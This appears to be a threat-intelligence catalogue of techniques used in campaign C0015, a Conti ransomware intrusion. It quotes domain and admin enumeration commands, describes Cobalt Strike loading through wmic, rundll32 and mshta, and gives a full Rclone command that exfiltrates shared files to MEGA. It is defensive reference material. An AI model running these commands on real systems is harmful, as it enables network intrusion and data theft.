Procedure examples

During C0015, the threat actors obtained files and data from the compromised network.

During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.

During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.

During C0015, the threat actors used RDP to access specific network hosts of interest.

During C0015, the threat actors used Base64-encoded strings.

During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.

During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.

During C0015, the threat actors collected files from network shared drives prior to network encryption.

During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.

During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.

During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.

During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.

During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.

During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.

During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.

During C0015, the threat actors use the command `net group "domain admins" /dom` to enumerate domain groups.

During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.

During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.

During C0015, the threat actors downloaded additional tools and files onto a compromised network.

During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.

During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.

During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.

During C0015, the threat actors used `mshta` to execute DLLs.

During C0015, the threat actors employed code that used `regsvr32` for execution.

During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.

During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.

During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.

During C0015, the threat actors used Conti ransomware to encrypt a compromised network.

For C0015, the threat actors used DLL files that had invalid certificates.

For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.

During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.

During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.

For C0015, the threat actors used Cobalt Strike and Conti ransomware.

For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.